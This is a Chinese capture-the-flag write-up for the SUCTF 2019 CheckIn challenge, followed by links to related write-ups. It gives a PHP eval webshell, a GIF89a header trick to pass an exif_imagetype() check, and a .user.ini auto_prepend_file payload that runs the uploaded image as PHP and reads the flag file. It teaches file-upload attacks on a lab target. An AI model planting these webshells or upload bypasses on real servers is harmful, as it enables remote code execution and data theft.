[SUCTF 2019]CheckIn 1
知识点:exif_imagetype() 、 .user.ini
文章目录:
- 题解
- 参考
题解
文件上传,我们传一个带一句话马的图片
<?php @eval($_REQUEST['cmd']);?>
但是它提示我们不能有<?,那我们就换一种
<script language="php">eval($_REQUEST['cmd']);</script>
在这边,它用了一个exif_imagetype函数来判断文件类型。
平时简单一点的文件类型检查就是$_FILES[“file”][“type”],这种我们改一下后缀就行了。
但是exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。
各类型对应头字节:
- JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
- GIF:47 49 46 38 39 61(ascll值是GIF89a)
- PNG: 89 50 4E 47
所以我们只要在我们的一句话马前加上GIF89a就行了
GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>
在把‘’这个文件上传
但现在传上去的只是一张图片,我们要把它解析成php。
这里可以用.user.ini。
php.ini大家都熟悉,是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER
而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项:
auto_prepend_file和auto_append_file
相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。
然后创建.user.ini文件上传:
GIF89a
auto_prepend_file=she.jpg
然后payload,执行命令:
/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php?cmd=var_dump(file_get_contents("/flag"));
uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php
原因:.user.ini中auto_prepend_file=she.jpg会在执行index.php前把she包含进来,且解析为php格式
参考
.user.ini
高诺琪
[SUCTF 2019]CheckIn 1相关推荐
- [SUCTF 2019]CheckIn
web第25题 [SUCTF 2019]CheckIn 打开靶场 看来是一个文件上传的题 上传正常图片 返回路径,注意到有一个index.php 尝试直接上传一句话木马shell.php 提示非法后缀 ...
- [SUCTF 2019] SignIn
[SUCTF 2019] SignIn 如果对本文存在有疑问或需要工具可以在下方给我留言! 这题比较简单 题目下载地址:https://www.lanzoux.com/iawzl2f 程序没有加壳,直 ...
- [SUCTF 2019]Game
[SUCTF 2019]Game 题目地址 : https://buuoj.cn/challenges#[SUCTF%202019]Game 题目一共两个附件,先把src.zip 解压,在src目录下 ...
- web buuctf [SUCTF 2019]Pythonginx1
知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题 查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...
- BUUCTF:[SUCTF 2019]Game
https://buuoj.cn/challenges#[SUCTF%202019]Game index.html中发现一串base32 >>> import base64 > ...
- BUUCTF-WEB:[SUCTF 2019]EasySQL 1
解题思路: ①先试试1'# 发现没有回显 ②试试1 有回显 ③试试单引号注入 ④试试用order by查询表的列数:1 order by 1 用不了联合注入了! 下面尝试使用堆叠注入: payloa ...
- [SUCTF 2019]EasySQL1
1.老规矩,先输入1 2.输入1 or 1,页面提示nonono,说明or已被列入黑名单,通过我们尝试,and,union等等都被列入黑名单. 3.我们来判断参数是否被引号,双引号,括号包裹. 输入1 ...
- [SUCTF 2019]EasySQL1 (buu一周目速通)
进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了, Array ( [0] => 1 ) 一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或 ...
- BUUctf刷题第三天
[极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码 说只有啥玩意的学生才能买,就抓包看看 发现cookie后面有个user=0,改成一试试 改完后说我是啥啥啥的学生了可以支付购买了 结 ...
- buuctf web1
目录 [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [强网杯 2019]随便注 [SU ...
最新文章
- js源生惯性滚动与回弹(备用)
- 2020-10-25(极客pyc题目)
- activiti7流程设计器_基于容器和微服务应用的架构:容器设计原则
- SQLAlchemy
- Poj(2225),三维BFS
- HDU3685 几何+重心+凸包+判定锐角三角形
- Ubuntu 20.04 安装多个版本 php 并应用到 nginx
- MongoDB的安装
- C语言实现字符串转二进制编码,并保存.txt
- AI产品经理的技术了解层级
- 【北京邮电大学计算机考研资料汇总大全】
- 《基因突变》学习笔记
- 彻底搞懂数据库内连接、外连接
- 无穷小微积分是ZFC大花园的一颗奇葩
- 中企海外周报 | 哈弗F7x性能版在俄罗斯上市;徐工首家海外银行落户巴西
- 【UML】软件设计说明书 (完结)
- matlab计算潮差程序,t_tide潮汐潮流调和分析工具包教程
- 2022-12-12 系统移植
- 研究开发出 3D 打印 “食品墨水”
- 工业互联网平台:将为“补链”“优链”“强链”提供有力保障